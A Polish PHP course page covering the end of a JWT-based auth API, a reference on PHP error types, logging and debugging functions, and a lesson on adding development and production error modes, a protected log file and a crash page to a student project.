            'user' => [
                'id' => $new_id,
                'username' => $username
            ]
        ], 'Registration successful', 201);
    }
    
    private function getCurrentUser() {
        $user_id = $this->verifyToken();
        
        $user = $this->db->fetchOne(
            "SELECT id, username, email, level, coins FROM users WHERE id = ?",
            [$user_id],
            'i'
        );
        
        if (!$user) {
            Response::notFound('User not found');
        }
        
        Response::success($user);
    }
    
    private function generateToken($user_id) {
        $payload = [
            'user_id' => $user_id,
            'iat' => time(),
            'exp' => time() + (24 * 60 * 60) // 24 godziny
        ];
        
        $header = base64_encode(json_encode(['typ' => 'JWT', 'alg' => 'HS256']));
        $payload = base64_encode(json_encode($payload));
        $signature = base64_encode(hash_hmac('sha256', "$header.$payload", $this->secret_key, true));
        
        return "$header.$payload.$signature";
    }
    
    private function verifyToken() {
        $headers = getallheaders();
        $auth_header = $headers['Authorization'] ?? '';
        
        if (!preg_match('/Bearer\s(\S+)/', $auth_header, $matches)) {
            Response::unauthorized('Missing or invalid Authorization header');
        }
        
        $token = $matches[1];
        $parts = explode('.', $token);
        
        if (count($parts) !== 3) {
            Response::unauthorized('Invalid token format');
        }
        
        list($header, $payload_encoded, $signature) = $parts;
        
        // Weryfikuj sygnaturę
        $valid_signature = base64_encode(hash_hmac('sha256', "$header.$payload_encoded", $this->secret_key, true));
        
        if ($signature !== $valid_signature) {
            Response::unauthorized('Invalid token signature');
        }
        
        // Dekoduj payload
        $payload = json_decode(base64_decode($payload_encoded), true);
        
        // Sprawdź expiration
        if ($payload['exp'] < time()) {
            Response::unauthorized('Token expired');
        }
        
        return $payload['user_id'];
    }
}

$api = new AuthAPI();
$api->handleRequest();
?>

Artykuł 24. PHP – JSON i REST API pochodzi z serwisu Kama Kaczmarek.

TaskQuest

Dodatek

Rodzaje błędów w PHP

1. Parse Errors (Błędy składni)

Błędy w składni kodu – PHP nie może nawet uruchomić skryptu.

<?php
// Błąd: brak średnika
echo "Hello World"

// Błąd: brak zamykającego nawiasu
if ($x > 5 {
    echo "OK";
}

// Błąd: brak zamykającego cudzysłowu
echo "Hello;
?>

Komunikat błędu:

Parse error: syntax error, unexpected end of file in script.php on line 3

2. Fatal Errors (Błędy krytyczne)

Błędy krytyczne przerywające wykonanie skryptu.

<?php
// Wywołanie nieistniejącej funkcji
nieistniejacaFunkcja();

// Przekroczenie limitu pamięci
$huge_array = array_fill(0, 10000000, 'data');

// Błąd require/include
require 'nieistniejacy_plik.php';
?>

Komunikat błędu:

Fatal error: Uncaught Error: Call to undefined function nieistniejacaFunkcja()

3. Warning (Ostrzeżenia)

Ostrzeżenia nie przerywają wykonania skryptu, ale wskazują na problemy.

<?php
// Otwarcie nieistniejącego pliku
$file = fopen('nieistniejacy.txt', 'r');

// Dzielenie przez zero
$result = 10 / 0;

// Użycie niezdefiniowanej zmiennej
echo $niezdefiniowana;
?>

Komunikat błędu:

Warning: fopen(nieistniejacy.txt): failed to open stream: No such file or directory
Warning: Division by zero

4. Notice (Notki)

Najmniej poważne komunikaty – sugestie ulepszeń.

<?php
// Użycie niezdefiniowanego klucza tablicy
$tab = ['a' => 1];
echo $tab['b'];

// Użycie niezdefiniowanej zmiennej
echo $x;

// Użycie niezdefiniowanej stałej
echo NIEISTNIEJACA_STALA;
?>

Komunikat błędu:

Notice: Undefined index: b
Notice: Undefined variable: x
Notice: Use of undefined constant NIEISTNIEJACA_STALA

5. Deprecated (Przestarzałe)

Informacje o przestarzałych funkcjach.

<?php
// Przestarzała funkcja
mysql_connect('localhost', 'root', ''); // Deprecated w PHP 5.5, usunięte w PHP 7.0

// Przestarzały sposób tworzenia obiektu
$date = new DateTime;
$date->setDate(2024, 13, 32); // Deprecated warning
?>

1. error_reporting() – Poziomy błędów

Konfiguracja raportowania błędów

<?php
// Wyświetl WSZYSTKIE błędy (rozwój)
error_reporting(E_ALL);

// Wyświetl wszystkie oprócz Notice
error_reporting(E_ALL & ~E_NOTICE);

// Wyświetl tylko błędy krytyczne
error_reporting(E_ERROR | E_WARNING | E_PARSE);

// Wyłącz wyświetlanie błędów (produkcja)
error_reporting(0);

// Sprawdź aktualny poziom
echo error_reporting(); // Zwraca liczbę (np. 32767 dla E_ALL)
?>

Poziomy błędów – kompletna lista

<?php
// Błędy krytyczne
E_ERROR             // Błędy krytyczne (fatal errors)
E_PARSE             // Błędy składni
E_CORE_ERROR        // Błędy w jądrze PHP
E_COMPILE_ERROR     // Błędy kompilacji

// Ostrzeżenia
E_WARNING           // Ostrzeżenia runtime
E_CORE_WARNING      // Ostrzeżenia jądra PHP
E_COMPILE_WARNING   // Ostrzeżenia kompilacji
E_USER_WARNING      // Własne ostrzeżenia (trigger_error)

// Notki i informacje
E_NOTICE            // Notki runtime
E_USER_NOTICE       // Własne notki
E_STRICT            // Sugestie najlepszych praktyk
E_DEPRECATED        // Przestarzałe funkcje
E_USER_DEPRECATED   // Własne deprecation

// Wszystkie
E_ALL               // Wszystkie błędy i ostrzeżenia
?>

Przykład – Różne konfiguracje dla środowisk

<?php
// config.php

// Wykryj środowisko
$environment = getenv('APP_ENV') ?: 'development';

if ($environment === 'development') {
    // ROZWÓJ - pokaż wszystkie błędy
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    
} elseif ($environment === 'staging') {
    // STAGING - pokaż błędy, ale loguj je
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    ini_set('log_errors', 1);
    ini_set('error_log', '/var/log/php/staging_errors.log');
    
} else {
    // PRODUKCJA - ukryj błędy, tylko loguj
    error_reporting(E_ALL);
    ini_set('display_errors', 0);
    ini_set('display_startup_errors', 0);
    ini_set('log_errors', 1);
    ini_set('error_log', '/var/log/php/production_errors.log');
}
?>

2. ini_set() – Konfiguracja PHP w runtime

Podstawowe ustawienia

<?php
// Wyświetlanie błędów
ini_set('display_errors', 1);           // Wyświetl błędy (0 = wyłącz)
ini_set('display_startup_errors', 1);   // Błędy przy starcie PHP

// Logowanie błędów
ini_set('log_errors', 1);               // Loguj błędy do pliku
ini_set('error_log', 'errors.log');     // Ścieżka do pliku logów

// Limity
ini_set('memory_limit', '256M');        // Limit pamięci
ini_set('max_execution_time', 60);      // Czas wykonania (sekundy)
ini_set('upload_max_filesize', '10M');  // Max rozmiar uploadu

// Inne
ini_set('default_charset', 'UTF-8');
ini_set('date.timezone', 'Europe/Warsaw');

// Sprawdź wartość ustawienia
echo ini_get('memory_limit'); // 256M
?>

Przykład – Kompleksowa konfiguracja rozwojowa

<?php
// dev_config.php - Konfiguracja dla rozwoju

// Błędy
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Logowanie
ini_set('log_errors', 1);
ini_set('error_log', __DIR__ . '/logs/php_errors.log');

// Limity (luźne dla rozwoju)
ini_set('memory_limit', '512M');
ini_set('max_execution_time', 300);
ini_set('max_input_time', 300);
ini_set('post_max_size', '50M');
ini_set('upload_max_filesize', '50M');

// Sesje
ini_set('session.cookie_httponly', 1);
ini_set('session.use_strict_mode', 1);

// Output buffering (przydatne przy debugowaniu)
ini_set('output_buffering', 'Off');
ini_set('implicit_flush', 1);

// Pokaż szczegóły SQL (tylko dla developmentu!)
ini_set('mysqli.allow_local_infile', 1);

echo "Konfiguracja deweloperska załadowana<br>";
echo "Memory limit: " . ini_get('memory_limit') . "<br>";
echo "Max execution time: " . ini_get('max_execution_time') . "s<br>";
?>

3. trigger_error() – Własne błędy

Wywoływanie własnych błędów

<?php
function divide($a, $b) {
    
    if ($b == 0) {
        // Wywołaj własny błąd
        trigger_error("Dzielenie przez zero!", E_USER_WARNING);
        return false;
    }
    
    return $a / $b;
}

$result = divide(10, 0);

// Bardziej szczegółowe błędy
function processUser($user_id) {
    
    if (!is_int($user_id)) {
        trigger_error("User ID musi być liczbą całkowitą, podano: " . gettype($user_id), E_USER_ERROR);
    }
    
    if ($user_id < 1) {
        trigger_error("User ID musi być dodatni, podano: $user_id", E_USER_WARNING);
        return false;
    }
    
    // Przestarzałe użycie
    if (func_num_args() > 1) {
        trigger_error("Funkcja processUser() przyjmuje tylko jeden argument. Wiele argumentów jest przestarzałe.", E_USER_DEPRECATED);
    }
    
    return "Processing user $user_id";
}

processUser(-5);        // Warning
processUser("abc");     // Fatal Error
processUser(1, 2);      // Deprecated
?>

Przykład – Walidacja z trigger_error()

<?php
class Validator {
    
    public static function validateEmail($email) {
        if (empty($email)) {
            trigger_error("Email nie może być pusty", E_USER_NOTICE);
            return false;
        }
        
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            trigger_error("Nieprawidłowy format email: $email", E_USER_WARNING);
            return false;
        }
        
        return true;
    }
    
    public static function validateAge($age) {
        if (!is_numeric($age)) {
            trigger_error("Wiek musi być liczbą, podano: " . gettype($age), E_USER_ERROR);
        }
        
        if ($age < 0) {
            trigger_error("Wiek nie może być ujemny: $age", E_USER_WARNING);
            return false;
        }
        
        if ($age > 150) {
            trigger_error("Nieprawdopodobny wiek: $age", E_USER_WARNING);
            return false;
        }
        
        return true;
    }
}

// Testy
Validator::validateEmail('');                    // Notice
Validator::validateEmail('invalid-email');       // Warning
Validator::validateAge('abc');                   // Fatal Error
Validator::validateAge(-5);                      // Warning
Validator::validateAge(200);                     // Warning
?>

4. error_log() – Logowanie błędów

Podstawowe użycie

<?php
// Loguj do domyślnego pliku error_log
error_log("To jest testowa wiadomość w logu");

// Loguj zmienną
$user_id = 123;
error_log("User ID: $user_id");

// Loguj tablicę (trzeba skonwertować do stringa)
$data = ['name' => 'Jan', 'age' => 25];
error_log("User data: " . print_r($data, true));

// Loguj z kontekstem
error_log("[" . date('Y-m-d H:i:s') . "] User logged in: $user_id");
?>

Logowanie do konkretnego pliku

<?php
// Loguj do konkretnego pliku
error_log("Custom log message", 3, "/var/log/myapp/custom.log");

// Funkcja pomocnicza do logowania
function logMessage($message, $level = 'INFO') {
    $timestamp = date('Y-m-d H:i:s');
    $log_file = __DIR__ . '/logs/app.log';
    
    $formatted_message = "[$timestamp] [$level] $message" . PHP_EOL;
    
    error_log($formatted_message, 3, $log_file);
}

// Użycie
logMessage("Aplikacja uruchomiona", "INFO");
logMessage("Użytkownik zalogowany: ID 123", "INFO");
logMessage("Błąd połączenia z bazą", "ERROR");
logMessage("Podejrzana aktywność z IP: 192.168.1.100", "WARNING");
?>

Przykład – Klasa Logger

<?php
class Logger {
    
    private $log_file;
    private $levels = ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL'];
    
    public function __construct($log_file = null) {
        $this->log_file = $log_file ?? __DIR__ . '/logs/app.log';
        
        // Utwórz katalog jeśli nie istnieje
        $log_dir = dirname($this->log_file);
        if (!is_dir($log_dir)) {
            mkdir($log_dir, 0755, true);
        }
    }
    
    private function write($level, $message, $context = []) {
        $timestamp = date('Y-m-d H:i:s');
        
        // Format: [2024-01-15 14:30:45] [ERROR] Message
        $log_line = "[$timestamp] [$level] $message";
        
        // Dodaj kontekst jeśli istnieje
        if (!empty($context)) {
            $log_line .= " | Context: " . json_encode($context);
        }
        
        $log_line .= PHP_EOL;
        
        // Zapisz do pliku
        error_log($log_line, 3, $this->log_file);
    }
    
    public function debug($message, $context = []) {
        $this->write('DEBUG', $message, $context);
    }
    
    public function info($message, $context = []) {
        $this->write('INFO', $message, $context);
    }
    
    public function warning($message, $context = []) {
        $this->write('WARNING', $message, $context);
    }
    
    public function error($message, $context = []) {
        $this->write('ERROR', $message, $context);
    }
    
    public function critical($message, $context = []) {
        $this->write('CRITICAL', $message, $context);
    }
    
    public function exception(Exception $e) {
        $context = [
            'file' => $e->getFile(),
            'line' => $e->getLine(),
            'trace' => $e->getTraceAsString()
        ];
        
        $this->error($e->getMessage(), $context);
    }
}

// Użycie
$logger = new Logger();

$logger->info("Aplikacja uruchomiona");
$logger->debug("Zmienna \$x = 5", ['x' => 5]);
$logger->warning("Niska pamięć", ['available' => '50MB']);
$logger->error("Błąd połączenia z bazą", ['host' => 'localhost', 'error' => 'timeout']);

try {
    throw new Exception("Testowy wyjątek");
} catch (Exception $e) {
    $logger->exception($e);
}
?>

5. var_dump(), print_r(), debug_backtrace()

var_dump() – Pełne informacje o zmiennej

<?php
$string = "Hello World";
$number = 42;
$float = 3.14;
$bool = true;
$null = null;
$array = ['a' => 1, 'b' => 2, 'c' => 3];
$object = new stdClass();
$object->name = "Test";
$object->value = 100;

// var_dump() pokazuje typ i wartość
var_dump($string);      // string(11) "Hello World"
var_dump($number);      // int(42)
var_dump($float);       // float(3.14)
var_dump($bool);        // bool(true)
var_dump($null);        // NULL
var_dump($array);       // array(3) { ["a"]=> int(1) ...}
var_dump($object);      // object(stdClass)#1 (2) { ...}

// Wiele zmiennych naraz
var_dump($string, $number, $array);
?>

print_r() – Czytelniejszy output

<?php
$array = [
    'user' => [
        'id' => 123,
        'name' => 'Jan Kowalski',
        'email' => 'jan@example.com',
        'roles' => ['admin', 'editor']
    ],
    'settings' => [
        'theme' => 'dark',
        'language' => 'pl'
    ]
];

// print_r() - czytelniejsze formatowanie
print_r($array);

// Zwróć jako string zamiast wyświetlać
$output = print_r($array, true);
error_log("Array content: $output");

// Porównanie
echo "<pre>";
echo "var_dump():\n";
var_dump($array);

echo "\nprint_r():\n";
print_r($array);
echo "</pre>";
?>

debug_backtrace() – Śledzenie wywołań

<?php
function levelOne() {
    levelTwo();
}

function levelTwo() {
    levelThree();
}

function levelThree() {
    // Pokaż stos wywołań
    $backtrace = debug_backtrace();
    
    echo "<pre>";
    print_r($backtrace);
    echo "</pre>";
    
    // Bardziej czytelne
    echo "<h3>Call Stack:</h3>";
    foreach ($backtrace as $index => $call) {
        echo "#{$index} ";
        
        if (isset($call['file'])) {
            echo "{$call['file']}:{$call['line']} - ";
        }
        
        if (isset($call['class'])) {
            echo "{$call['class']}{$call['type']}";
        }
        
        echo "{$call['function']}()<br>";
    }
}

levelOne();
?>

Funkcja debug() – Ulepszony var_dump()

<?php
function debug($var, $label = null, $die = false) {
    echo '<pre style="background:#f4f4f4; padding:15px; border:2px solid #333; border-radius:5px; margin:10px 0;">';
    
    if ($label) {
        echo "<strong>DEBUG: $label</strong>\n";
        echo str_repeat('-', 50) . "\n";
    }
    
    // Informacje o wywołaniu
    $backtrace = debug_backtrace();
    $caller = $backtrace[0];
    echo "File: {$caller['file']}\n";
    echo "Line: {$caller['line']}\n";
    echo str_repeat('-', 50) . "\n\n";
    
    // Typ zmiennej
    echo "Type: " . gettype($var) . "\n\n";
    
    // Wartość
    if (is_array($var) || is_object($var)) {
        print_r($var);
    } else {
        var_dump($var);
    }
    
    echo '</pre>';
    
    if ($die) {
        die("\n<strong>Script terminated by debug()</strong>");
    }
}

// Użycie
$user = [
    'id' => 123,
    'name' => 'Jan Kowalski',
    'active' => true
];

debug($user, "User Data");
debug($_SERVER, "Server Variables");
debug($user, "Critical Error - User Data", true); // Zatrzyma skrypt
?>

6. Try-Catch – Obsługa wyjątków

Materiał dostępny w temacie https://kamakaczmarek.net/12-php-wyjatki-try-catch/

7. Xdebug – Profesjonalne debugowanie

Xdebug to popularne rozszerzenie (moduł) dla języka PHP, które służy do debugowania (szukania błędów), profilowania oraz analizy wydajności aplikacji.

Zamiast polegać na tradycyjnym, często uciążliwym wypisywaniu wartości zmiennych w oknie przeglądarki za pomocą funkcji var_dump() czy print_r(),

Xdebug pozwala na zaawansowaną, interaktywną pracę z kodem.

W tym miejscu odsyłam Was do zewnętrznych źródeł celem zgłębienia tematu – jest ich mnóstwo w sieci.

TaskQuest 2.3 — tryb pracy, log błędów i strona awarii

Po Lekcji 22 TaskQuest ma prawdziwe konta, hasła i obronę przed trzema atakami. Ale kiedy coś w środku pęknie, aplikacja zachowuje się fatalnie: pokazuje graczowi nazwy kolumn z bazy, pełne ścieżki do plików na serwerze, a czasem po prostu białą stronę. I nie zostawia po sobie żadnego śladu — gdy uczeń z klasy obok napisze „nie działa”, nie masz jak sprawdzić, co się stało.

Dziś zajmiesz się tym, co dzieje się po wystąpieniu błędu: kto zobaczy szczegóły, co zostanie zapisane i jak znaleźć przyczynę. Przy okazji poznasz narzędzia, których będziesz używać do końca nauki programowania.

Pracujesz na projekcie w stanie po Lekcji 22.

Cel lekcji

Nauczyć się:

• rozpoznawać rodzaje błędów PHP (Parse error, Fatal error, Warning, Deprecated) i czytać ich komunikaty,
• rozróżniać Exception i Error oraz wiedzieć, czego nie łapie catch (Exception ...),
• sterować wyświetlaniem błędów (error_reporting(), ini_set('display_errors', ...)),
• zapisywać błędy do pliku (error_log()) i używać logu jako narzędzia debugowania,
• ustawiać awaryjną obsługę niezłapanych wyjątków (set_exception_handler()),
• świadomie używać var_dump(), print_r() i wiedzieć, kiedy one nie wystarczą.

Efekt: TaskQuest ma dwa tryby pracy (rozwojowy i produkcyjny), własny plik logu, do którego trafia każda awaria, i stronę awarii zamiast białego ekranu ze ścieżkami serwera.

Uwaga — co jest, a czego jeszcze nie ma:

• Nie zmieniamy sposobu walidacji danych od użytkownika. Błąd użytkownika to nadal tablica komunikatów (reguła z L13), a nie wyjątek.
• Nie wprowadzamy własnych klas wyjątków (to wciąż zadanie dodatkowe z L15) ani trigger_error() — w TaskQuest awarie zgłaszamy wyjątkami (L12).
• Xdebug omawiamy tylko krótko na końcu. To narzędzie do zainstalowania, nie kod w projekcie.

Rozgrzewka — 4 pytania z Lekcji 22

1. Dlaczego htmlspecialchars() wywołujemy przy wyświetlaniu, a nie przed zapisem do bazy?
2. Skąd sprawdzTokenCsrf() wie, że formularz pochodzi z TaskQuest, a nie z obcej strony?
3. Dlaczego przy nieudanym logowaniu pokazujemy jeden wspólny komunikat „Nieprawidłowy login lub hasło.”?
4. Co robi .htaccess w uploads/avatary/ i przed czym nie chroni?

1. Wracamy do naszego TaskQuest

Co zostaje, co dochodzi, co zmieniamy

Docelowa struktura projektu

taskquest/
├── config/config.php                (zmiana: tryb pracy, ustawienia błędów, set_exception_handler)
├── includes/
│   ├── funkcje_bledow.php           NOWY
│   ├── footer.php                   (zmiana: „TaskQuest 2.3”)
│   └── ... pozostałe                bez zmian
├── logs/                            NOWY KATALOG
│   ├── .htaccess                    NOWY
│   └── taskquest.log                (tworzy go PHP przy pierwszym błędzie)
├── index.php                        (zmiana: blok catch)
├── zaloguj.php                      (zmiana: blok catch)
├── rejestracja.php                  (zmiana: blok catch)
├── dodaj-zadanie.php                (zmiana: blok catch)
├── profil.php                       (zmiana: blok catch)
├── oznacz-wykonane.php              (zmiana: blok catch)
├── usun-zadanie.php                 (zmiana: blok catch)
├── diagnostyka.php                  (zmiana: 25 ścieżek, sekcja „Log błędów”)
└── classes/, sql/, uploads/         bez zmian

Przygotowanie (zrób to teraz)

1. Zrób kopię zapasową katalogu taskquest/ jako taskquest_lekcja22/ (obok, nie w środku).
2. Uruchom w XAMPP Apache i MySQL.
3. Zaloguj się jako Kama_2026 / KamaQuest26 i sprawdź, że lista zadań, „Zrobione!”, „Usuń” i avatar działają.
4. Znajdź na dysku plik C:\xampp\apache\logs\error.log (na Linuksie /opt/lampp/logs/error_log). Otwórz go w edytorze kodu i przewiń na koniec. To tu dziś trafiają wszystkie komunikaty PHP — za chwilę damy TaskQuest własny plik.

2. Problem w aplikacji

Trzy rzeczy, które dzieją się w TaskQuest już dziś.

1. Aplikacja zdradza wnętrze bazy. Otwórz includes/funkcje_bazy.php, znajdź wczytajZadaniaUzytkownika() i w tekście zapytania zmień tytul na tytul2. Odśwież index.php:

Nie udało się wczytać danych: Unknown column 'tytul2' in 'field list'

Gracz właśnie dostał informację, jak nazywają się kolumny w Twojej bazie. Po Lekcji 22 wiesz, że to prezent dla atakującego. Przywróć tytul.

2. Aplikacja zdradza wnętrze serwera. Otwórz dodaj-zadanie.php, znajdź w formularzu pole tytułu i zmień name="tytul" na name="tytul[]". Wyślij formularz z dowolnym tytułem:

Fatal error: Uncaught TypeError: trim(): Argument #1 ($string) must be of type string,
array given in C:\xampp\htdocs\taskquest\includes\funkcje_tekstowe.php:14

Zwróć uwagę na dwie rzeczy. Po pierwsze — pełna ścieżka do pliku na dysku serwera. Po drugie — blok try/catch w tym pliku tego nie złapał. Dlaczego, dowiesz się w sekcji 3.3. Przywróć name="tytul".

3. Nie ma żadnego śladu. Oba błędy zniknęły razem z odświeżeniem strony. Gdyby zdarzyły się graczowi w nocy, rano nie miałabyś jak sprawdzić, co się stało. Jedyny ślad jest w logu Apache — wspólnym dla wszystkich aplikacji na tym serwerze.

Plan lekcji:

rodzaje błędów PHP        → umiesz przeczytać komunikat i wiesz, co się stało
Exception vs Error        → wiesz, czego catch (Exception) nie łapie
tryb pracy aplikacji      → decydujesz, kto widzi szczegóły
log błędów                → każda awaria zostawia ślad
set_exception_handler()   → żaden błąd nie pokaże graczowi ścieżek
var_dump / print_r / log  → potrafisz znaleźć przyczynę

3. Rodzaje błędów w PHP

3.1 Cztery rodzaje komunikatów

Utwórz w katalogu projektu plik brudnopis.php. Będziesz do niego wracać przez całą lekcję.

Parse error (błąd składni). PHP nie potrafi nawet przeczytać pliku, więc nic się nie wykonuje:

<?php

echo "Start";
echo "Brakuje średnika"
echo "Koniec";

Uruchom http://localhost/taskquest/brudnopis.php. Słowo „Start” nie pojawi się, mimo że jest przed błędem. To jest cecha rozpoznawcza błędu składni: cały plik przepada.

Fatal error (błąd krytyczny). Skrypt rusza, ale przerywa się w miejscu błędu:

<?php

echo "<p>Start</p>";
nieistniejacaFunkcja();
echo "<p>Koniec</p>";

Tym razem „Start” się wyświetli, a „Koniec” już nie.

Warning (ostrzeżenie). Skrypt nie przerywa pracy:

<?php

$plik = fopen('nie_ma_takiego_pliku.txt', 'r');
echo "<p>Mimo ostrzeżenia lecę dalej.</p>";
echo "<p>Zmienna: " . $nieistniejacaZmienna . "</p>";

To najbardziej podstępny rodzaj błędu. Strona działa, ale wynik jest nie ten, którego oczekujesz. Znasz to z Lekcji 21: move_uploaded_file() przy braku katalogu też wypisuje Warning — ze ścieżką do katalogu na serwerze.

Deprecated (przestarzałe). Informacja, że coś działa, ale zniknie w przyszłej wersji PHP. Spotkałaś to w Lekcji 11 przy fgetcsv() bez ostatniego parametru.

Poprawka do materiału źródłowego. Materiał wymienia jeszcze Notice i podaje przykłady: niezdefiniowana zmienna, brakujący klucz tablicy, dzielenie przez zero. W PHP 8 te trzy przypadki zachowują się inaczej niż w PHP 5/7:

• niezdefiniowana zmienna → Warning (nie Notice),
• brakujący klucz tablicy → Warning (nie Notice),
• 10 / 0 → rzuca DivisionByZeroError, czyli przerywa skrypt (nie Warning).

Notice nadal istnieje, ale jest dziś rzadkością. Sprawdź to sama — wpisz w brudnopisie echo 10 / 0; i zobacz, co pokaże PHP.

3.2 Jak czytać komunikat błędu

Każdy komunikat ma cztery części:

Fatal error: Uncaught TypeError: trim(): Argument #1 ($string) must be of type string, array given
             in C:\xampp\htdocs\taskquest\includes\funkcje_tekstowe.php:14

[1] Fatal error              → rodzaj: skrypt się przerwał
[2] Uncaught TypeError       → nazwa klasy błędu
[3] trim(): Argument #1 ...  → co dokładnie jest nie tak
[4] funkcje_tekstowe.php:14  → plik i numer linii

Reguła praktyczna: czytaj od końca. Najpierw plik i linia, potem treść. Uwaga na pułapkę — linia 14 to miejsce, w którym błąd wybuchł, a nie zawsze miejsce, w którym powstał. trim() dostało tablicę, ale to nie trim() jest winne — winne jest miejsce, które przekazało tablicę. Dlatego pod komunikatem PHP pokazuje stos wywołań (Stack trace): listę funkcji, które doprowadziły do tego miejsca, od najbardziej zagnieżdżonej do najwyższej.

3.3 Error czy Exception?

Od Lekcji 12 używasz try/catch. W sekcji 2 zobaczyłaś, że TypeError przeszedł obok bloku catch. To nie jest przypadek ani błąd w Twoim kodzie.

W PHP wszystko, co można rzucić, dziedziczy po interfejsie Throwable. Poniżej są dwie rodziny:

              Throwable
              /        \
       Exception        Error
           |              |
  mysqli_sql_exception   TypeError
  DateMalformedString…   ValueError
  (Twoje wyjątki z L12)  DivisionByZeroError
                         ArgumentCountError

Podział ma sens praktyczny:

• Exception to sytuacja, którą program przewidział: baza nie odpowiada, pliku nie ma, dane są niepoprawne. Program może zareagować.
• Error to błąd programisty: zła liczba argumentów, zły typ, wywołanie nieistniejącej funkcji. Nie ma sensownej reakcji poza „napraw kod”.

catch (Exception $wyjatek) łapie wyłącznie lewą gałąź. To jest zamierzone: gdyby łapało wszystko, Twoje literówki udawałyby awarie bazy danych.

SAMODZIELNIE

Wyczyść brudnopis.php i wstaw:

<?php

function sprawdz(callable $kod): void
{
    try {
        $kod();
        echo "<p>Bez błędu.</p>";
    } catch (Exception $wyjatek) {
        echo "<p>Złapane jako Exception: " . get_class($wyjatek) . "</p>";
    }
}

Nie musisz rozumieć callable — to po prostu sposób na przekazanie kawałka kodu do funkcji. Pod spodem dopisz pięć wywołań sprawdz(...), po jednym dla każdej sytuacji:

1. new DateTime('2026-13-45')
2. 10 / 0
3. trim([])
4. throw new Exception('Awaria pliku')
5. intdiv(10, 3)

Wzór pierwszego: sprawdz(function () { new DateTime('2026-13-45'); });

Zanim uruchomisz, wpisz w zeszycie przewidywanie dla każdego przypadku: „złapane” czy „wywali stronę”. Potem uruchom i sprawdź.

1. new DateTime('2026-13-45')   → ZŁAPANE — DateMalformedStringException (dziedziczy po Exception)
2. 10 / 0                       → NIE — DivisionByZeroError (Error), strona się przerywa
3. trim([])                     → NIE — TypeError (Error), strona się przerywa
4. throw new Exception(...)     → ZŁAPANE — Exception
5. intdiv(10, 3)                → bez błędu, wynik 3

4. Tryb rozwojowy i produkcyjny

4.1 error_reporting() i ini_set()

Dwa ustawienia decydują o tym, co się dzieje z komunikatem błędu:

Te cztery ustawienia dają dwa sensowne zestawy:

TRYB ROZWOJOWY (Twój komputer)      TRYB PRODUKCYJNY (serwer, gracze)
error_reporting(E_ALL)              error_reporting(E_ALL)
display_errors = 1   ← widzisz      display_errors = 0   ← gracz nie widzi
log_errors = 1                      log_errors = 1       ← Ty czytasz z pliku

Zwróć uwagę: error_reporting(E_ALL) jest w obu trybach. Wyłączanie ostrzeżeń na produkcji to najczęstszy błąd początkujących — problem nie znika, tylko przestaje być widoczny. Różnica między trybami dotyczy wyłącznie tego, kto dostaje komunikat.

ini_set() zmienia ustawienie PHP na czas jednego żądania. Trwale ustawia się je w php.ini, ale wtedy dotyczą wszystkich aplikacji na serwerze — a Ty chcesz sterować samym TaskQuest.

Ważne ograniczenie. ini_set('display_errors', '0') działa dopiero od momentu wykonania tej linii. Błąd składni w pliku, który PHP wczytuje jako pierwszy (czyli w index.php), zdarza się wcześniej — takiego komunikatu ustawienie nie ukryje. To jedyny przypadek, którego nie da się objąć kodem; na serwerze załatwia go php.ini. Zobaczysz to w Eksperymencie 2.

4.2 Włączamy tryby do TaskQuest

Od tego miejsca pracujesz w projekcie. Brudnopis zostaw, wróci w sekcji 7.

Krok 1 — katalog na log

1. Utwórz w katalogu projektu katalog logs/ (ręcznie, tak jak uploads/avatary/ w Lekcji 21 — aplikacja sama katalogów nie tworzy).
2. Utwórz w nim plik .htaccess o treści:

# TaskQuest (L23): log błędów nie jest do oglądania przez przeglądarkę.
Require all denied

Dlaczego? Log będzie zawierał nazwy kolumn, ścieżki na dysku i fragmenty zapytań SQL — czyli dokładnie to, co w Lekcji 22 uznałyśmy za informacje wyłącznie dla programisty. Katalog logs/ leży w katalogu publicznym serwera, więc bez .htaccess każdy mógłby wpisać adres pliku i przeczytać go w przeglądarce.

Krok 2 — ustawienia w config/config.php

Na samej górze pliku, zaraz pod <?php i przed dotychczasowymi stałymi, dopisz:

// --- tryb pracy aplikacji (L23) ---
// true  = Twój komputer: błędy widać na stronie
// false = serwer: gracz widzi tylko ogólny komunikat, szczegóły idą do logu
define('TRYB_ROZWOJOWY', true);

define('PLIK_LOGU', dirname(__DIR__) . '/logs/taskquest.log');

error_reporting(E_ALL);
ini_set('log_errors', '1');
ini_set('error_log', PLIK_LOGU);

if (TRYB_ROZWOJOWY) {
    ini_set('display_errors', '1');
} else {
    ini_set('display_errors', '0');
}

dirname(__DIR__) znasz — __DIR__ to katalog config/, a dirname() cofa o jeden poziom, do katalogu projektu. Tak samo liczona była kiedyś stała PLIK_ZADAN.

Krok 3 — sprawdzenie

1. Zepsuj celowo nazwę kolumny w wczytajZadaniaUzytkownika() (w zapytaniu sql zmień tytul na tytul2) i odśwież index.php.
2. Zajrzyj do logs/taskquest.log. Powinien tam być wpis z datą i komunikatem mysqli.
3. Wpisz w przeglądarce http://localhost/taskquest/logs/taskquest.log. Serwer powinien odpowiedzieć 403 Forbidden.
4. Przywróć tytul.

Jeśli pliku logu nie ma, sprawdź pisownię nazwy katalogu logs. PHP, jeśli nie może pisać do wskazanego pliku, nie zgłasza tego — po prostu milczy (Eksperyment 3).

5. Log błędów

5.1 error_log()

Ustawienia z sekcji 4 zajmują się błędami, które zgłasza samo PHP. Ale wyjątek złapany przez catch nie jest dla PHP błędem — program go obsłużył, więc nic nigdzie nie trafia. To właśnie nasz przypadek: siedem bloków catch w TaskQuest wyświetla komunikat graczowi i zapomina o sprawie.

Do dopisania własnego wpisu służy error_log():

error_log('Nie udało się połączyć z bazą danych.');

Wpis trafia tam, gdzie wskazuje ustawienie error_log, czyli teraz do logs/taskquest.log. Datę i godzinę PHP dopisuje samo (strefa zależy od ustawienia date.timezone), więc nie wołamy date().

Sprawdź to — dopisz tę linię tymczasowo na końcu config/config.php, odśwież dowolną stronę, zajrzyj do logu i usuń linię.

5.2 SAMODZIELNIE — dwie funkcje

Utwórz plik includes/funkcje_bledow.php i napisz w nim dwie funkcje.

zapiszBladDoLogu(Throwable $wyjatek, string $gdzie): void — zapisuje do logu jedną linię zawierającą: etykietę $gdzie, nazwę klasy wyjątku, jego komunikat oraz plik i numer linii.

